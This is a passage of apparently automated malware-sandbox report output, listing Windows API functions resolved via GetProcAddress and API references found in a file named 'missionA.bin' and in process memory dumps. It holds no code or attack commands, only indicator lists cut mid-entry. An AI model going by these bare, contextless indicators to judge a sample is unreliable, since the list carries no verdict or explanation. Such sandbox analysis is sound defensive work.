00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter OutputDebugStringA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LockFile (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter UnlockFileEx (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapCompact (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapDestroy (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter UnlockFile (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LockFileEx (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegDeleteTreeA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter NsiAllocateAndGetTable (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CM_Open_Class_Key_ExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter NsiFreeTable (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003864)31:T70ff,Found reference to API (Indicator: "GetLastError"; File: "missionA.bin") Found reference to API (Indicator: "GlobalAddAtomW"; File: "missionA.bin") Found reference to API (Indicator: "GlobalDeleteAtom"; File: "missionA.bin") Found reference to API (Indicator: "RaiseException"; File: "missionA.bin") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "missionA.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "missionA.bin") Found reference to API (Indicator: "GetProcAddress"; File: "missionA.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "missionA.bin") Found reference to API (Indicator: "FreeLibrary"; File: "missionA.bin") Found reference to API (Indicator: "GetTempPathW"; File: "missionA.bin") Found reference to API (Indicator: "DeleteFileW"; File: "missionA.bin") Found reference to API (Indicator: "HeapSetInformation"; File: "missionA.bin") Found reference to API (Indicator: "RegisterApplicationRestart"; File: "missionA.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "missionA.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "missionA.bin") Found reference to API (Indicator: "SizeofResource"; File: "missionA.bin") Found reference to API (Indicator: "LockResource"; File: "missionA.bin") Found reference to API (Indicator: "LoadResource"; File: "missionA.bin") Found reference to API (Indicator: "FindResourceW"; File: "missionA.bin") Found reference to API (Indicator: "FindResourceExW"; File: "missionA.bin") Found reference to API (Indicator: "CreateFileW"; File: "missionA.bin") Found reference to API (Indicator: "lstrlenW"; File: "missionA.bin") Found reference to API (Indicator: "WriteFile"; File: "missionA.bin") Found reference to API (Indicator: "CloseHandle"; File: "missionA.bin") Found reference to API (Indicator: "Sleep"; File: "missionA.bin") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; File: "missionA.bin") Found reference to API (Indicator: "GetVersionExW"; File: "missionA.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "missionA.bin") Found reference to API (Indicator: "lstrlenA"; File: "missionA.bin") Found reference to API (Indicator: "GetStockObject"; File: "missionA.bin") Found reference to API (Indicator: "SelectObject"; File: "missionA.bin") Found reference to API (Indicator: "GetDeviceCaps"; File: "missionA.bin") Found reference to API (Indicator: "DeleteObject"; File: "missionA.bin") Found reference to API (Indicator: "GetObjectW"; File: "missionA.bin") Found reference to API (Indicator: "CreateCompatibleDC"; File: "missionA.bin") Found reference to API (Indicator: "DeleteDC"; File: "missionA.bin") Found reference to API (Indicator: "GetSystemMetrics"; File: "missionA.bin") Found reference to API (Indicator: "IsWindowVisible"; File: "missionA.bin") Found reference to API (Indicator: "ShowWindow"; File: "missionA.bin") Found reference to API (Indicator: "ReleaseDC"; File: "missionA.bin") Found reference to API (Indicator: "LoadCursorW"; File: "missionA.bin") Found reference to API (Indicator: "RegisterClassW"; File: "missionA.bin") Found reference to API (Indicator: "DefWindowProcW"; File: "missionA.bin") Found reference to API (Indicator: "BeginPaint"; File: "missionA.bin") Found reference to API (Indicator: "SetCapture"; File: "missionA.bin") Found reference to API (Indicator: "ReleaseCapture"; File: "missionA.bin") Found reference to API (Indicator: "InvalidateRect"; File: "missionA.bin") Found reference to API (Indicator: "IntersectRect"; File: "missionA.bin") Found reference to API (Indicator: "IsIconic"; File: "missionA.bin") Found reference to API (Indicator: "PtInRect"; File: "missionA.bin") Found reference to API (Indicator: "GetWindow"; File: "missionA.bin") Found reference to API (Indicator: "SetRect"; File: "missionA.bin") Found reference to API (Indicator: "CloseClipboard"; File: "missionA.bin") Found reference to API (Indicator: "OpenClipboard"; File: "missionA.bin") Found reference to API (Indicator: "EmptyClipboard"; File: "missionA.bin") Found reference to API (Indicator: "SetClipboardData"; File: "missionA.bin") Found reference to API (Indicator: "GetParent"; File: "missionA.bin") Found reference to API (Indicator: "LoadAcceleratorsW"; File: "missionA.bin") Found reference to API (Indicator: "TranslateMessage"; File: "missionA.bin") Found reference to API (Indicator: "DispatchMessageW"; File: "missionA.bin") Found reference to API (Indicator: "PostQuitMessage"; File: "missionA.bin") Found reference to API (Indicator: "GetDesktopWindow"; File: "missionA.bin") Found reference to API (Indicator: "GetWindowDC"; File: "missionA.bin") Found reference to API (Indicator: "SetWindowPos"; File: "missionA.bin") Found reference to API (Indicator: "GetSysColor"; File: "missionA.bin") Found reference to API (Indicator: "MessageBoxW"; File: "missionA.bin") Found reference to API (Indicator: "SetForegroundWindow"; File: "missionA.bin") Found reference to API (Indicator: "GetDC"; File: "missionA.bin") Found reference to API (Indicator: "FillRect"; File: "missionA.bin") Found reference to API (Indicator: "InflateRect"; File: "missionA.bin") Found reference to API (Indicator: "DrawFocusRect"; File: "missionA.bin") Found reference to API (Indicator: "GetClientRect"; File: "missionA.bin") Found reference to API (Indicator: "IsZoomed"; File: "missionA.bin") Found reference to API (Indicator: "SetWindowTextW"; File: "missionA.bin") Found reference to API (Indicator: "DestroyWindow"; File: "missionA.bin") Found reference to API (Indicator: "RegisterHotKey"; File: "missionA.bin") Found reference to API (Indicator: "CreateWindowExW"; File: "missionA.bin") Found reference to API (Indicator: "LoadStringW"; File: "missionA.bin") Found reference to API (Indicator: "TranslateAcceleratorW"; File: "missionA.bin") Found reference to API (Indicator: "GetWindowRect"; File: "missionA.bin") Found reference to API (Indicator: "CheckMenuRadioItem"; File: "missionA.bin") Found reference to API (Indicator: "DestroyMenu"; File: "missionA.bin") Found reference to API (Indicator: "GetForegroundWindow"; File: "missionA.bin") Found reference to API (Indicator: "UnregisterHotKey"; File: "missionA.bin") Found reference to API (Indicator: "OffsetRect"; File: "missionA.bin") Found reference to API (Indicator: "DrawIconEx"; File: "missionA.bin") Found reference to API (Indicator: "GetWindowTextW"; File: "missionA.bin") Found reference to API (Indicator: "GetIconInfo"; File: "missionA.bin") Found reference to API (Indicator: "SetCursor"; File: "missionA.bin") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "missionA.bin") Found reference to API (Indicator: "LoadMenuW"; File: "missionA.bin") Found reference to API (Indicator: "SetFocus"; File: "missionA.bin") Found reference to API (Indicator: "GetScrollInfo"; File: "missionA.bin") Found reference to API (Indicator: "SetScrollInfo"; File: "missionA.bin") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "missionA.bin") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "missionA.bin") Found reference to API (Indicator: "RtlCaptureContext"; File: "missionA.bin") Found reference to API (Indicator: "PathFindFileNameW"; File: "missionA.bin") Found reference to API (Indicator: "PathFindExtensionW"; File: "missionA.bin") Found reference to API (Indicator: "PathRemoveExtensionW"; File: "missionA.bin") Found reference to API (Indicator: "CoCreateGuid"; File: "missionA.bin") Found reference to API (Indicator: "StringFromCLSID"; File: "missionA.bin") Found reference to API (Indicator: "CoTaskMemFree"; File: "missionA.bin") Found reference to API (Indicator: "CoUninitialize"; File: "missionA.bin") Found reference to API (Indicator: "CoInitialize"; File: "missionA.bin") Found reference to API (Indicator: "CoCreateInstance"; File: "missionA.bin") Found reference to API (Indicator: "CreateStreamOnHGlobal"; File: "missionA.bin") Found reference to API (Indicator: "RegCreateKeyExW"; File: "missionA.bin") Found reference to API (Indicator: "RegQueryValueExW"; File: "missionA.bin") Found reference to API (Indicator: "RegOpenKeyExW"; File: "missionA.bin") Found reference to API (Indicator: "RegCloseKey"; File: "missionA.bin") Found reference to API (Indicator: "RegSetValueExW"; File: "missionA.bin") Found reference to API (Indicator: "InitializeCriticalSection"; File: "missionA.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "missionA.bin") Found reference to API (Indicator: "HeapDestroy"; File: "missionA.bin") Found reference to API (Indicator: "HeapAlloc"; File: "missionA.bin") Found reference to API (Indicator: "HeapFree"; File: "missionA.bin") Found reference to API (Indicator: "HeapReAlloc"; File: "missionA.bin") Found reference to API (Indicator: "HeapSize"; File: "missionA.bin") Found reference to API (Indicator: "GetProcessHeap"; File: "missionA.bin") Found reference to API (Indicator: "GetVersionExA"; File: "missionA.bin") Found reference to API (Indicator: "GetStartupInfoW"; File: "missionA.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "missionA.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "missionA.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "missionA.bin") Found reference to API (Indicator: "GetTickCount"; File: "missionA.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "missionA.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "missionA.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "missionA.bin") Found reference to API (Indicator: "TerminateProcess"; File: "missionA.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "missionA.bin") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "missionA.bin") Found reference to API (Indicator: "OutputDebugStringA"; File: "missionA.bin") Found reference to API (Indicator: "CreateMutexW"; File: "missionA.bin") Found reference to API (Indicator: "SetLastError"; File: "missionA.bin") Found reference to API (Indicator: "ReleaseMutex"; File: "missionA.bin") Found reference to API (Indicator: "CreateSolidBrush"; File: "missionA.bin") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "missionA.bin") Found reference to API (Indicator: "BitBlt"; File: "missionA.bin") Found reference to API (Indicator: "UnregisterClassA"; File: "missionA.bin") Found reference to API (Indicator: "CopyRect"; File: "missionA.bin") Found reference to API (Indicator: "MapWindowPoints"; File: "missionA.bin") Found reference to API (Indicator: "SystemParametersInfoW"; File: "missionA.bin") Found reference to API (Indicator: "LoadIconW"; File: "missionA.bin") Found reference to API (Indicator: "GetSubMenu"; File: "missionA.bin") Found reference to API (Indicator: "LoadImageW"; File: "missionA.bin") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "missionA.bin") Found reference to API (Indicator: "LookupAccountNameA"; Source: "00000000-00001544.00000000.75934.00C60000.00000004.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp, 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "IsValidSid"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "InitializeSid"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSidLengthRequired"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorOwner"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "MakeAbsoluteSD"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorGroup"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "AddAce"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetAclInformation"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "IsValidSecurityDescriptor"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorSacl"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "ProgIDFromCLSID"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CommandLineToArgvW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetSystemWindowsDirectoryW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "UnregisterClassA"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: 